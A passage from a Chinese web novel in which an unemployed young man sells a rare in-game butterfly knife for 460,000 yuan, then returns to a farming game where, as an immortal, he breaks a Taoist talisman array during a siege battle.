因世界字幕弹跳太快,很多评论姜定还没来得及看清楚就消失不见,但大部分玩家都在哀嚎着什么,人比人气死人这等言论,还有少部分玩家在寻找他的ID,试图过来和他商量着买下这蝴蝶刀。 毕竟这些玩家不差钱,更享受在游戏内的装感和优越感。 眼看对于这柄蝴蝶刀的报价越来越高,杜越在一旁看得激动得直咬指甲盖,还不忘狠狠地掐了一把姜定的肩膀。 “快答应啊姜定,他出了这么高的价格!这价格太神了!溢价好几万也是没谁了!” 对面不知名大佬愿意出46万买下这柄蝴蝶刀,要求立马将这蝴蝶刀交易给他。 一手交钱,一手交货。 几乎几分钟内,46万已经到账。 这会姜定和杜越哪里还顾得上过来上门踢馆的王豪,两人看着到账的46万美得找不到北。 亲眼看到姜定是如何抽中金装道具,白拿46万的众人顿时淡定不能 虽说姜定他无业游民,但是这可是白来的46万啊,要是工作的话,也得两三年才有这个收入吧? 无业游民怎么了,不就是暂时找不到工作嘛,这四十六万还不够躺平个一两年? 相比于踏踏实实的工作,大家还是更喜欢白来的钱。 先前这些人还围着王豪听他讲述如何成功考编的经验,但在亲眼目睹姜定的好运后,各个眼红至极。 这会忙挤进去,争着抢着和姜定说话。 “我去,欧皇啊姜定,我记得你以前运气没这么好?” “去去去你别理他,姜定,你这运气太好了,也帮我抽一下呗!” “对对对,我也玩这个游戏,你也帮我抽一下吧!都是老同学,帮个忙吧!” 眼看着曾经和自己不熟悉的同学一股脑涌上来,姜定忙打了个哈哈就要撤。 ——开什么玩笑,一会抽不中算谁的? 再说,先不提自己的运气到底是不是变好了,就算真的变好了,他和这些上一秒还暗戳戳嘲讽他的人没什么可说的。 反正饭也吃得差不多了,不如赶紧撤了才是真道理。 眼看姜定要走,这些人急了,忙捉住他就要强迫对方帮自己抽奖。 王豪脸色阴郁地看着被人围绕在最中央的姜定,心里恨得要命。 他那个霉鬼还能有这么好的运气? 他为了考上这编制,前前后后努力了多久,又花了不少钱,本来上岸了是个好事,但亲眼看着姜定白来了46万,他顿时就心梗了。 辛辛苦苦赚的钱能和白来的比?再说了,他这个编制也就是面上好听,但实际上月薪不到三千,算上年终奖公积金等福利,想攒四十来万最快也得四年。 而对方只用了一瞬。 似乎是注意到了他飘过来的眼神,姜定和对方对视后咧开嘴无所谓地笑了。 然后在人群看不到的地方,他冲着王豪做了个竖中指的动作。 ——活该,谁让他主动过来挑衅自己,非要舞到自己面前,这会找到不痛快了吧? 除了亲手竖中指以外,姜定还点开对方的微信,紧跟着他发来的“废物”后发了一句“矬子”。 本着眼不见心不烦的宗旨,姜定立即决定将此人拉黑,省得影响他今天的好心情。 等到姜定和杜越从包厢内挤出来后,两人对视一笑,乐了。 杜越似乎松了口气:“你小子运气不错,这会有了这笔钱,你可以放轻松,慢慢找工作了。” 两人边说话边走路,模样轻松。 姜定有些恍惚,说实话,他还没太能接受这件事带来的冲击。 先前那顿饭没吃好,既然自己捡到了馅饼,姜定忙表示请他去吃一顿好的。 为了表示对老朋友的欢迎,姜定带杜越去吃了一顿人均好几百的日料。 两个人都没吃过这家,在服务员帮忙烤着肉排时,姜定有些犹豫地开口:“杜越,你要不要试试我给你开一下?不过我也不知道这怎么回事,或许刚才我那把只是运气好而已,你知道的,我以前确实运气很差。” 杜越没动弹,“别了,姜定,我又不是图你这个,再说了,人的好运气哪能那么逆天,我觉得我运气已经很不错了,你不用帮我抽。” 姜定心里感激。 杜越和他从高一就认识了,此人阳光开朗,还讲义气,学习成绩也好,因为做同桌的缘故,很快两人便熟悉起来,往后三年里,因两人都选择理科,且运气好依旧在一个班内,所以当时他和姜定的关系还真是很好。 想到从前,再想想现在,姜定顿觉好哥们果然还是好哥们。 这会越不让抽,越来劲了。 “我试试我运气,没抽中我给你钱。” “滚犊子,这钱我能冲你要?” 杜越瞪大眼睛佯怒,而姜定则是很顺手将对方手机拿过来,点了一抽。 ——无事发生。 有些尴尬,但不信邪的姜定继续又抽了好几发,最终梦想彻底碎了。 好吧,他以为自己有了神之手啊!合着刚才完全是自己走了狗屎运? 再看向好友时,姜定心虚地给对方转了两百块。 然后趁机替对方点了收款。 等到两人分开后,姜定滚烫的心被冷风一吹,凉了半截。 这事要不要告诉爸妈?毕竟是一件好事,但说了后爸妈会不会把他的钱全部没收掉啊? 一想到这个可能性,姜定不由地瑟缩。 打车回家的路上,还在和内心做着心理斗争。 结果刚一回家,姜爸率先给了姜定一个熊抱。 “儿子,你牛逼啊!”??? 不知为何,姜定突然有一种不是很好的感觉。 难不成,爸妈都知道了? 还不等姜定问,就听姜爸颇有兴致地问他:“我听你那群同学说,你抽中一个什么武器,当场就卖了46万?” 姜定:!!!???什么鬼,他本来还想少报一些呢,怎么老爸知道得这么清楚? 似乎是看到了姜定不敢置信的眼神,姜爸得意道:“臭小子,你那点心思我还不清楚?你这事你也瞒不住啊,那么多人知道,口口相传,爸早就知道了。” 听到这个残忍的消息时,姜定忍不住浑身泄气,还不等他开口,便听姜爸已经将他这笔意外收入安排得明明白白。 “你这么大岁数了,我感觉还是需要给你买一辆车,省得你天天坐公交,等过两天喊上你妈,咱三一起看看你喜欢的车?” 嗯? 没想到老爸打算用这笔钱给自己买车,姜定愣在原地。 随即兴奋得大吼大叫。 这声音喊得房女士都从屋内走出来了,这会她正敷面膜,看到自家儿子仿若有病的模样,忙捅了捅自家老公,询问到底是咋了。 而等听清楚姜爸说了什么后,房女士愣在原地,像复读机一样重复:“46万?你确定?46万?” 等到姜爸不耐烦地点头了数次后,房女士顿时乐得面膜都掉在了地上。 “我去,咱儿子这是走了狗屎运啊!老姜,你掐掐我,我感觉我好像是在做梦” 等感受到那股疼痛后,房女士已经自言自语开:“给儿子买车行,我得和儿子商量商量,给我也买一个包去” 而此刻姜定则是躺在床上忍不住畅想。 剧烈的兴奋早就将他曾买过的那两张刮刮乐忘得一干二净。 第116章 传言符咒 随着姜定抽中金装蝴蝶刀,这消息在官方的宣传下立马爆炸开来。 除却本身这把特殊武器带来的热度外,更令人在意的是这把武器带来的经济价值。 不少营销号立马加大火力,将此消息放了出去。 于是不多久,只要一刷娱乐软件,都会出现一模一样的营销话术。 【谁懂啊,别人一发入魂抽中蝴蝶刀,你要是不知道蝴蝶刀是什么,可以代入你抽奖一发就抽到了一辆豪车】 【这样的运气去哪个方向拜才能得到?】 在此类营销号的宣传下,姜定抽中蝴蝶刀一事立马被宣扬开来。 不过好在他本人没被爆出来,但他的游戏ID号早就被围观了许多次了。 甚至最后出现了抽卡组织的神秘仪式,在抽卡前先洗干净双手,然后心里默念他的ID爱定不定,然后再点开盒。 本以为是笑谈,但在有人紧随其后抽出了价值十万元的武器后,此人立即将此事发布社交媒体,而后顿时引爆全网。 一时间,爱定不定这个游戏ID简直成了财神爷的代表词。 这番闹剧姜定还没发现,毕竟他自从知晓自己过几天就可以拥有第一辆车,这会还在兴奋头上。 人在极度兴奋时会想干很多事,但姜定不是。 他在极度兴奋时会用打游戏来缓解兴奋。 于是,再度打开大炎种田这游戏后,姜定试图静心去沉浸式体验游戏,好缓解一番兴奋。 等到看到熟悉的游戏界面,看着熟悉的游戏进度时,姜定不免心中放松,原先躁动的情绪也被不自觉缓解。 而先前在得到仙师回应的方知意则还在揣摩仙师的深意。 她将义师军联合景旭宫的事告知仙师,本还在思索仙师会如何计划,但当那熟悉的声音出现在她脑内时,原先为敌军侵犯而略微心焦的方知意却不自觉被这声音安抚下来。 “我已知晓,你按你现在的计划执行便是。” 既仙师说了这话,方知意便懂得仙师的意思。 他已有决策,自己只需要做到自己该做的事情便好。 等结束通话后,方知意不免默默计算原先的计划。 ——等待敌军进入风仙县后,她便来个关门打狗,原先南门的居民早就被她率先撤离出去,眼下南门那处不过是一空城而已。 居民挪移出去后,官兵则是隐藏在其中,就等着明日那义师军来犯了。 而处于城外的众多官兵正以一包围之势默默将附近包裹在内。 一切就绪,就等着敌人乖乖入内了。 这一晚,方知意没有合眼。 等到半夜三点时,前方的探子发来消息说那开元县内有动静。 而后,探子发来确定消息,义师军出动了。 除却骑兵外,他们义师军最后面的队伍还举着一类似于球体一样的东西,围绕在这球体周边的不是别人,正是先前被请过来的十二个景旭宫道士。 在听到报告后,方知意的注意力则是分给了那古怪的球体一部分 这球体到底为何物?既然是由那十二名道士护送,想必这玩意是用来对付仙师的。 不过,仙师可不是用这种小小玩意就能困住的存在,方知意脑内不自觉闪过先前仙师挪移盐池的壮举来。 若他们也看到了那一幕,想必不会想不开过来挑衅仙师吧? 方知意根本没考虑过仙师会被这些人打败,于是在知晓那圆球存在后只是琢磨了一瞬,转而忽视这物,继续按照原先的计划执行任务。 而在义师军内,杜宇则有些忌惮地看向那花费一晚时间才制造出来的圆球。 这圆球是这十二道长共同念咒,而后出现的东西。 据领头的道长所说,这圆球名为锁敌阵,由他们共同操作伸出锁链,而后将敌人拖入阵中关押起来。 起初杜宇有些不太看好这圆球,毕竟这玩意看着古怪,但靠一个圆球就想困住那等邪修,是不是有些过于轻松了? 但是毕竟对方是从景旭宫出来的,他作为门外汉最好还是不要去质疑道长的权威了。 这十二人坐在马背上,但各个嘴里念念有声,而随着咒语不断被完善,原先的那球体也逐渐蒙上了一层阴影。 杜宇则是有事没事瞟几眼看看,但仅仅凭他的水平自然是看不出有什么变化,只能不再将注意力放在这古怪的球体上。 等到早晨四点时,他们一行人总算是到了风仙县附近。 先前杜宇特意放出假情报,根据假情报,他则会在北门强攻。 但实际上,他最后选择的是南门。 很快,按照作战计划,杜宇将手下人分为数个小队,而后每个队伍都带着抓钩出动。 几乎瞬间,数根抓钩便稳稳当当地勾在了城墙上。 而方知意则通过望远镜看得清楚。 负责看守城墙的官兵早被她调度到了别的城门,只留下南门作为可攻防口。 等到小队的人顺利爬上城墙,偷渡且打开城门后,杜宇都有一种不真实感。 ——等会,这么轻松就打开城门了? 看来城内瘟疫确实很严重啊,不然不可能说这么轻松就能攻入城内。 本觉得是不是城内有所埋伏,但根据线人回报消息后得知,城内仅存的兵力全都集中在了北门,看来是因为他先前传递过去的错误情报导致的县令判断失误。 想到先前他打听到的关于新县令的情报,杜宇忍不住想大声嘲笑。 这什么邪修是真不靠谱,给偌大的县城找了个女人当县令! 而且还是个才十六岁的小娘子! 真是昏了头,指望这样年轻的女人能做出什么事来? 杜宇不自觉生出一阵说不清道不明的优越感。 先前根据他打听到的消息,这新县令上任风风火火,不少百姓都说新县令是个好官,说这新县令是仙人亲自挑选的奇才,但在他看来,什么奇才不奇才的?有何用? 瘟疫过后,决策失误导致风仙县再次被他们义师军收入囊中,原先侥幸逃过一劫的风仙县内民众到时候才会知道,只有投靠他们义师军才是这个世道最正确的选择。 面庞闪过一抹冷笑,杜宇仿佛已经看到了无尽的荣耀批洒在他肩头。 想到凯旋回归后众人那艳羡的目光,再想想等这事做得令天王满意后,自己将会得到哪种回馈,杜宇忍不住沉浸其中,陷入片刻的失神。 等城门打开,马蹄踏入原先曾属于义师军的街道,杜宇忍不住激动得颤出一身鸡皮疙瘩。 环顾着风仙县内的街道,倒是却出乎意料的整洁,道路干净,且连以往让他最为兴奋的民众嚎叫哭喊声都不曾有 坏了! 脑内凯旋余韵还未散去,杜宇却心中“咯噔”一下,还没喊出来声音,率先听到便是箭头破空而入的声响。 几乎是翻滚着滚下马,杜宇这才看清楚那阵箭雨来自于何处 原来是来自于两旁的居民楼内。 几乎瞬间,原先隐藏在楼内的众官兵瞬间出现,各个手持弓箭,对着敌军就是一阵发射。 几个呼吸间,原先还好好坐在马匹上的骑兵便被穿刺成刺猬,在更多的箭雨要落下之际,杜宇忙开口喊寨抓钩小队。 这些带钩子的兵将各个灵活,伴随着钩子卡入两旁建筑物栏杆上后,厮杀便开始了。 箭雨总算不像先前那般密集,杜宇这才起身,快速坐到马匹上,刚想转身暂时离开城内,结果回头一看,却发觉不知何时,南门早就落下。 眼看已形成关门打狗之态,杜宇内心说不恐惧是假的。 想到先前他曾经嘲讽过曹应胆小,但真当他也陷入同等状况下时,杜宇觉得自己思绪混乱,理智几要离家出走。 身旁的厮杀依旧继续,杜宇在连续战斗许久后,抽刀劈开冲过来的官兵,又一脚踹开另一个试图偷袭他的官兵,这会已经开始气喘吁吁。 心里恼火,他眼神早已逡巡去寻找那景旭宫十二人。 ——狗日的,半天也不见这十二人发力,都这会还等什么等,再等下去一会他都要死了! 而等杜宇可算找到这十二人时,便看到这十二人口中念念有声,原先的圆球在十二人不断催动下逐渐解离开来。 另杜宇惊诧的是,这球在解离后,细看下竟然是由万千符咒拼刻而成。 不过情况紧急,眼看自己一行人即将陷入苦战,杜宇几乎咬牙切齿嘶吼出声:“还请诸位道长助我一臂之力!” 似乎是被杜宇的这句话刺激到了,亦或是咒语已经完全解开。 领头的邱老则是瞬间睁开眼睛,而后抚慰杜宇道:“放心,我等已做好准备,这便来助你!” 话音刚落,只见那球体延伸出来的符咒瞬间飞起,而后像是蛇一般,将两旁的官兵抽飞。 眼看情况不好,方知意下令后撤,放箭。 密集的箭雨飞速降临,杜宇忙举着马匹上的盾防御,但当他侧眼看向身旁时,看到的便是邱老一副淡定自若的模样。 这邱老和他狼狈的模样不同,此刻邱老别说举起盾牌,更是连躲闪的动作都不曾有。 杜宇情不自禁愣住了。 ——不是,都什么时候了,还要装?真不怕死,还是压根没遇到过这种情况傻在原地了? 吐槽归吐槽,但等他再仔细看过去时,这才发现不对劲。 一个呼吸间,箭雨却不曾落下。 忙抬头去看,却看到了令他震惊到失语的一幕。 只见那箭雨被球体符咒挨个抽飞,它速度奇快,竟是不曾让一根箭落入身旁。 而控制此符咒的邱老则是闭目养神,静坐在马背上,这模样看着真有几分道长的飘逸洒脱之感。 第117章 焦灼 杜宇被景旭宫露出的一手惊呆了。 除却他之外,远眺战场的仇离也不禁神色动容。 ——景旭宫果然有不少好东西,这传言符咒可是难得的好玩意,竟然被用来用在风仙县,看来那幕后之人对风仙县颇为忌惮啊。 他最近虽说忙于制作沼气池,但自听说景旭宫要来后,自然暂时停了手上任务,选择过来围观一下战场。 先前被师兄坑过来时,师兄曾告诉过他此地有真仙,虽说仇离对这话不是很认可,但越往后,倒是还真生出了几分好奇心。 毕竟在他看来,若能做到将此地管理得井井有条,哪怕不是仙人,也定当是接近仙人了。 先前按照计划,仇离是打算在沼气池完事后再去看看是否有机会能遇到仙人,但现在突然蹦出来一个机会,他若是不抓住,那岂不是太过于缺根筋? 不过现在看来是仙人还不曾露面,但景旭宫这些道士倒是颇为猖狂。 想起景旭宫在他们道士间的名声,仇离忍不住面露嘲讽之色。 ——皇家的走狗,一群只论利益的小人罢了。 不仅仅是杜宇和仇离颇为震撼,事实上,方知意也处于微微失神的状态。 果然不能小看景旭宫啊,毕竟是为大炎朝工作的道宫,手里没点真功夫如何能为皇朝做事? 心中想清楚了,但实际上,方知意倒是更多了几分谨慎。 在命令撤回近身战后,方知意下令继续射箭,她倒要看看这玩意的灵活性有多高,若按照一般情况来看的话,哪怕能避开箭雨,但也绝对会颇为消耗精力,不至于说操控此物的精力是无穷尽的。 抱着这般想法,新一轮的箭雨再度落下,而位于箭雨中央的邱老则是闲庭信步地下马,而后挥手对着一旁的弓箭手就是一拳。 只见他这一拳带动着符咒形成的锁链直扫而去,“轰隆”一声,那符咒竟将一侧建筑撕开一角。 隐藏在其内的弓箭手没来得及躲避,反而被这符咒撞到一旁,而后从房顶直勾勾掉下去。 坐观其变的杜宇被邱老这一手震撼在原地,片刻失神后,紧接着便是铺天盖地的狂喜。 他就说嘛!景旭宫不可能空有其名,现在看来这邱老十二人等确实有一手,若能靠着他们这手段,他岂不是可以轻松拿下风仙县? 脑内忍不住战栗,杜宇激动得直指前方,指挥部下继续前进扫射。 而与此同时,方知意表情逐渐凝重。 景旭宫确实有些讲究,本想先将对手精力耗尽,但对方明显看出了自己的想法,转而采取更为暴力,破坏力更强的手段震慑敌人。 不过她并非完全没有后手,只是那后手用起来有些风险,若不是完全没办法的话,方知意并不愿意动用此方法。 眼看战局即将扭转,先前被打得抱头鼠窜的义师军一行则又重回战场,各个举着刀,张牙舞爪便要冲向两旁去杀人。 杜宇继续添把火。 “兄弟们努努力,等这风仙县被咱们攻下来后,什么金银财宝,美酒美女,都管够!” 不少下属听到这话后,顿时眼睛发亮,手中握着的刀更紧了。 而风仙县的官兵们则是听得颇为恼火。 ——什么玩意,还真把自己当成了个东西! 先前他们没经过特殊训练前或许根本不是义师军的对手,但现在自从方大人上任后,训练方式和方法都换了新的,自从修炼了那新的功法后,他们觉得浑身力量要比先前暴涨了足足一倍! 且速度等各方面的身体素质要相比于先前好太多了! 所以当义师军不管不顾地冲过来时,本以为这风仙县内的官兵也会和别的地方的草包一样,一打就散架,但当一砍刀下去,不但没能砍飞对方,反而对手还能挑衅他们。 抬手一格挡,反倒是他们被弹了回来,尚未反应过来之际,又挨了对面一刀。 但凡是交战之人,均是心底生出一股难以描述的畏惧。 其中,杜宇感受最为深刻。 先前他击败的大都是弓箭手,并未感觉到有什么特别之处,但越往前,抵挡在他眼前的官兵实力便越强,最后竟然连他都应对得颇为吃力。 而这个时候,他甚至还没能见到对方的大将。 杜宇忍不住抹了把额间的汗水,心脏微微抽搐。 而此刻,邱老一行人则是在后方互相小声嘀咕。 “这便是义师军的能力?总感觉并非传闻那般强勇啊。” “亏我还有几分期待,都说他们一个人打三个没问题,现在看来,别说三个,一对一都有些费劲。” “若不是那位要求的,我等才懒得过来” “话虽如此,但若这场决战输了的话,我等回去了也难咎其辞啊,还是添把手才是。” 十二人嘀咕片刻后,虽说心中失望,但到底是看在任务的面子上,还是捏着鼻子甩出去数张符箓。 “杜将军,本道已使用数枚增功符为大家增强身体素质,但时间有限,只有一炷香,还望杜将军能合理利用这时间才是。” 邱老扔出去一枚符箓,那符纸刚好贴在杜宇身旁一骑兵身上。 几乎在被贴上瞬间,那骑兵便觉得自己体内似乎涌现出一股股力量,伴随着一种极度渴望暴虐的冲动,骑兵红着眼,提着刀杀了出去。 其余的骑兵皆是如此,各个仿若不要命一般,杀红了眼。 原先还算能控制住的场景,顿时隐隐有些失控。 而此时,杜宇终于见到了所谓的大将——林良,林县尉。 此人气宇轩昂,手中拎着的一杆长枪挥舞起来颇令人畏惧。 看他的眼神,杜宇似乎感受到了此人的杀意。 等一交手,杜宇便知晓他不是对方对手。 将穿刺而来的长枪用刀格挡住,杜宇伸出腿,一脚踹到对方的马匹身上。 马匹受惊,而后他总算在对方的压迫下缓了片刻。 等这片刻后,杜宇察觉到了不妙。 这林良似乎已明悟他的打法,隐约间竟已经开始压制他,若再打下去,他肯定不是对手! 杜宇忍不住冒汗,后背湿透了,但脑子还算清醒。 眼看劣势无法避免,一张符箓飞速贴在了他的身后。 几乎瞬间,一股磅礴的力量感像是爆炸般溢出,而后再看向林良时,杜宇莫名觉得此人特别碍眼,胸口不自觉升腾出一股恼意,伴随着强烈的愤怒,一股暴虐之意翻滚而出。 手中的砍刀一个用力,便将对方的长枪挑开,而后那杆长枪竟然被杜宇硬生生卸下! 感受到对方实力暴涨后,林良忙后退几步,从后背抽出砍刀。 ——奇怪,这人怎么突然实力大增?先前他已看破对方手法,本想着一鼓作气拿下对手,结果在片刻之间,局势便变了! 战场气氛陷入焦灼状态,但明眼人都知道,这场战斗若持续进行下去的话,最终的赢家或许是义师军。 方知意盯着那十二道士,瞳孔不自觉漆黑一片。 景旭宫竟能将她逼到如此境界,果然不愧为皇家专属道士。 只是不知道仙师打算何时现身? 而邱老一行人虽说各个看着淡定,但实际上,他们依旧是提起了十二分的警戒心。 既这邪修被忌惮不已,说明此人还是有些古怪的。 眼看战力暂且是自己这一方处于优势,邱老冷哼道:“布阵!搜索那邪修所在之地!” 其余人忙跟着抽出符箓,不等众人有所动作,一阵清爽的风突然出现。 几乎是在第一时间,方知意便感受到了仙师的存在。 等确切地感受到微风拂面后,她这才能确信,的确是仙师来了。 既仙师已到,她无须再担心。 给官兵做了个手势后,杜宇明显感觉到对方以一种无畏之态反扑过来,一时间,他应付起来竟有些吃力。 而在另一旁,还在布阵的邱老眉头一蹙,嘴角却是划过一抹狞笑。 ——呵,鱼上钩了! 布阵的手立即伸入内兜,掏出一张符箓直奔那风的源头扔了出去! 其余十一人反应速度也是极快,等看到邱老动手,其余人则是紧跟着扔出数枚符箓。 这些符箓可是他们从景旭宫带出来的强力符箓,均是由宫内大能制作而成,可以说这些东西便是他们为了控制这风仙县罪魁祸首而特意制作而来。 等符箓扔出去后,邱老忙催动阵法,想将那邪修捆在阵中。 若在他们的想象中,那邪修应当会被符箓困住才是,若就算困不住,那也应当会被硬控十几秒才是。 ——十几秒时间也足够他催动法阵将那邪修死死拖住了! 等到这阵法一完成,到时候哪怕天罗真仙也得被困死在内! 邱老眼中划过一抹精光,原本飞速捏诀的手却突然不受控制地僵硬下来。 不等他反应过来,手指却以一个极为惨烈的状态翻折过去。 “啊——” 不仅仅是他,那十一人皆是如此。 邱老疼得低吟一声,刚想去看发生了什么,便看到那绝不可能动作之人,此刻正以一个极为空灵潇洒的姿态漂浮在空中。 此人一身淡青色长袍,长发用玉羽冠束起,而在他背后,金色蛟龙蜿蜒盘旋,嘶吼着,翻滚着,仿若下一秒便要直冲他而来。 这人腰间配着两柄青色弯刀,虽说不曾看到他拔刀的模样,但不知为何,邱老似乎已察觉到那空中弥散开来的淡淡血腥味。 直面这等魔器对他来说是一种灵魂上的折磨,毕竟他哪怕不睁眼去看,也能通过这刀看清楚其内附着的万千魂魄。 ——到底是杀了多少人!如此邪修,定当天理不容! 本以为抬头会看到一面容恐怖狰狞之人,但当看到对方那张俊美到足以堪称为神迹的面庞后,邱老罕见地沉默了。 第118章 只一剑 不是,这邪修长这么好看老天爷是不是瞎了眼了? 而且话说为毛邪修可以驭龙啊??? 太过分了吧,他们作为道家正统,宫内大能都不能驭龙,这不知道哪里来的邪修却可以?还有天理嘛! 邱老崩溃三连后,发觉自己对着对方那张极具吸引力的脸庞实在是无法生出想要打杀的心态。 不过这心态也仅仅是出现了几秒而已,在意识到这邪修功力强悍后,邱老先给自己贴了一张暂时隔绝痛觉的符箓,而后将那被翻折的手指硬生生掰了回去。 伴随着“咔嚓”一声,邱老脸色难看地看着那漂浮在空中之人。 其余十一人则是各个神色迥异地抬头去看。 只见那仿若谪仙般的男子面庞带笑,但这笑意却不达眼底,反而带着刺骨的寒意。 在注意到此人修长的指尖捏着的符箓后,邱老心下震撼,——不可能,刚才他确保自己扔出去的符箓是已经使用的状态,不可能说会被对方截住。 再说了,他已经历过多次争斗,不可能说是还和初次使用符箓的新手道士一样,着急忙慌,还不等使用就扔出去。 如此来看的话,只有一个解释可以说明眼下的情况,那便是此人具有能截断天地法则的能力。 见鬼,这小小的一县城,到底是怎么招惹到这样的人物的? 心里狂骂不已,但实际上,邱老在看到自己一行人的符箓后,便知晓对方想做什么。 “快!用隔绝咒!” 几乎是嘶吼着说出话,邱老不等其余人反应过来,自己先行抽出一张符箓贴在自己身上催动符咒。 但那淡青色的身影速度更快! 在他还在开口念咒时,先前他们所扔出去的符箓全部被来人投掷过来。 邱老看得真切,这符箓几乎瞬间便化作无形,这便是生效了! 想到自己一行人特意为这邪修准备的符箓,邱老忍不住满头大汗。 他自然是知晓这些符箓到底有多强,本想着用到对方身上,但谁能想到,最后竟然是他们自食恶果! 用余光扫过那十一人,大部分都是念咒念到一半,若不做出反抗的话,恐怕他们会立马死在这里! 意识到情况危急后,邱老顾不上多想,忙将还在运转的传言法咒呼唤回来,替他们一行人抵抗住这直奔他们而来的数张符箓。 在二者相交的瞬间,符箓爆裂开来,其内蕴含的强悍力量让所有人为之一惊。 而于此同时,好在传言法咒将大半攻势抵抗下来,众人这才没能直接命殒当场。 但收回传言法咒带来的后果便是先前被护住的义师军死了一片。 别说普通士兵,就连杜宇也差点没被符箓炸死。 等他狼狈着咳嗽出声时,就见那淡青色身影静悬在半空,再转身一看,景旭宫十二人倒是还好好地被那圆球护在中间。 看上去并未有任何伤亡。 几乎片刻,杜宇便明白了刚才发生的事,心里忍不住怒骂一声后,他没机会开口,便见那十二人有六人前去制约那邪修,剩余的包括邱老在内的六人则是念念有声,而那圆球在这声音的加持下逐渐膨胀,而后爆发出阵阵金光! 不曾理会其余人,邱老用这辈子最快的速度念诀。 ——快些,再快些,若连传言法咒都困不住这人,他们剩余的结局便只有逃了! 而负责拖延时间的六人也是压力山大。 那淡青色的身影只需要站在原地对他们来说便是一种恐吓。 更别提他们还身负拖延时间的任务了。 但想到任务失败的后果,众人只能咬牙上了。 给自己贴上加速符咒,试图靠近此邪修后再动用别的攻击咒语,但很可惜,不等他们靠近过去,却注意到那人消失了。 脑内进攻的思绪断了,还不等连接上,有人余光注意到一抹青色逼近身旁。 刚想开口,见到的却是一柄弯刀直逼而来。 几乎片刻,不等他有所动作,喉管瞬间爆开。 血腥味顿时弥散开来。 那人尸体软塌塌落地,瞪大的双眼满露不解。 仅一个见面,他们甚至没看清楚对方的动作,片刻间同伴却已经死了一个。 这对所有人来说都无疑是沉重的打击。 邱老强迫自己将注意重新放回眼前,快了还有几秒! 其余五人在看到这番场景后,立即选择后撤一步,生怕对方缠上来。 那抹淡青色身影再度出现,静悬于空中,他不再动作,转而武器自发旋转,而后直奔他五人而来。!!! 这武器自带一股极强的煞气,五人匆匆拿出刀具抵抗,但依旧狼狈不已。 眼看就要坚持不住,邱老怒喝一声,宣告着传言法咒的阵法已经完全准备完毕。 而众人便注意到那由符咒组合拼接而成的传言法阵几乎瞬间便将那抹淡青色身影吞入其内。 眼看此邪修被困,十一人忙催动口诀,而后那金球越缠越紧,硬生生地将那邪修困死,等到看不到那抹淡青色身躯后,邱老紧绷的神经这才缓缓放松。 ——太危险了,若不是他们此次准备充足,不然这次绝对会死在这里。 哼,这传言法咒可是他们景旭宫最为精尖的法阵,虽说这邪修是有些古怪,但绝不会有人能突破这阵法! 而于此同时,风仙县内众人则是齐刷刷陷入沉默。 仙师究竟如何了? 那金球裹得紧密,他们压根不知晓内部到底发生了什么。 此行这般狼狈,再加上还损失了一名同伴,邱老心情称不上好。 “杜将军,我等要先将此邪修带回宫内,你负责继续处理这风仙县后事。” 这不是商量的语气,但杜宇只能欣然接受。 毕竟这里最危险的邪修已被捉拿,他只需要努努力,拿下风仙县即可回去复命。 原先崩溃的心情瞬间好了不少,杜宇忙应下,等分离时,他却注意到那金球上的光芒似乎正变得黯淡。 “邱老,这球体上的光芒好像要没了” 虽说不知道这意味着什么,但杜宇本能察觉到了危险。 在听清楚杜宇所说之话后,邱老猛地盯着那传言法咒去看,却看到让他肝胆俱恐的一番画面。 ——这自称最为无坚不摧的法阵,正在逐渐龟裂开来! 不好,法阵正在崩塌,眼看要困不住这邪修! “逃!” 眼下自己一行人已是黔驴技穷,无任何奈何对方的手段了! 顾不得旁人的死活,邱老给自己贴上数张加速符,拼了命想逃离此地。 留得青山在,不怕没柴烧,此邪修诡异非常,必须要将此情况上报宫内才是! 贴上加速符的邱老速度快得仿若离弦之箭,而在他身后的十人则就没有这么快了。 虽说都用了加速符,但他们十人的符咒品质如何能比得过邱老专门为了逃命而准备的符咒? 自然是被落下一大截。 虽然心里暗骂,但眼下谁也没多余的时间去说这些有的没的。 就连杜宇也跟上了逃跑的步伐。 此次杜宇共计带兵五千,目前进城人数有两千,其余的三千还在城外,打算和城内里外夹击。 但他没想到风仙县的瘟疫竟是个幌子,不说自己一行人被困在城内,就连城外的士兵也遭遇到了城外官兵的追击。 而刚才,在那所谓的神秘仙人出现后,杜宇的恐慌其实已到达了巅峰。 ——只需一眼,在亲眼看到那抹淡青色的身影时,杜宇总算明白了为何先前曹应会被吓得如此狼狈回来。 那凌厉的气势,那等睥睨众生的眼神,还有那等神出鬼没的手段,杜宇忍不住瑟瑟发抖。 或许,他的确是错了。 但眼下既然已来到城内,那他必须要活着离开这里。 若严格来说,他作为主帅却不战而逃,这事若是传回侯天王耳里,定会判处个逃兵罪。 但开什么玩笑,这景旭宫都对此邪修奈何不了,他不过一普通人,如何能扛过去? 还不如速速逃命后再做打算! 毕竟现在不逃一定会死,逃走了方能有一线生机! 既主将已逃跑,义师军自然是乱成一团。 这会都来不及战斗,忙跟在杜宇身后策马疾奔。 邱老在逃命之余,甚至连回头看一眼那传言法咒的时间都没有。 那十人急切地想逃离此处,却忍不住回头去看那法咒此刻的状态。 这不看不要紧,一看吓一跳。 那传言法咒已经完全碎裂开来,那抹诡异如鬼神的淡青色身影从那金色法咒内升起,而后漂浮于半空中,静静地看着他们逃命的方向。 加速符的效果很好,几乎是瞬间,邱老已然逃窜到了城外,景旭宫另外十人也纷纷像燕子一般,飞跃城门,直奔城外,而义师军就没那般好运了。 城门已经落锁,他们作为普通人自然无法像道士那般身轻如燕,这会被困于城内,只能拼命去开城门逃走。 眼看距离风仙县越来越远,邱老却觉得死亡却距离他越来越近。 再也忍受不住这般压力,邱老忍不住回头去看,结果便看到那悬浮于空中的身影缓缓张开手臂。 发丝凌乱飞舞,两柄弯刀早已归位,但不知为何,邱老却觉得要有大事发生了。 咬着牙不让自己逃生的意志崩溃,他拼尽全力往前逃窜,但在片刻后,那人却喊出让他毛骨悚然的话语。 这是邱老第一次听到这邪修开口。 这声音轻飘飘的,自带一股清冷之感,但此刻此声音却飘荡在整个县域上空,无论谁都能将他的话听得一清二楚。 “无礼至极,既然来了,便尝尝这招。” “满堂花醉三千客,一剑霜寒十四州!” 第119章 另有其人 邱老没想到这邪修竟然还会同他们说话。 在听清楚对方喊出来的招式后,他脑内几乎是瞬间便升腾起一股极为恐怖的预感。 ——此人先前便能挣脱传言法咒的束缚,想必此招式定是对方的杀手锏! 来不及往后看,邱老只能将自己的逃命速度更快提升了几分,他拼命往前跑,但四周很快便发生了新变化。 自那句话说完后,天地为之一颤。 仿若有什么新的,未曾被孕育出来的东西此刻破壳而出,随即天光大亮! 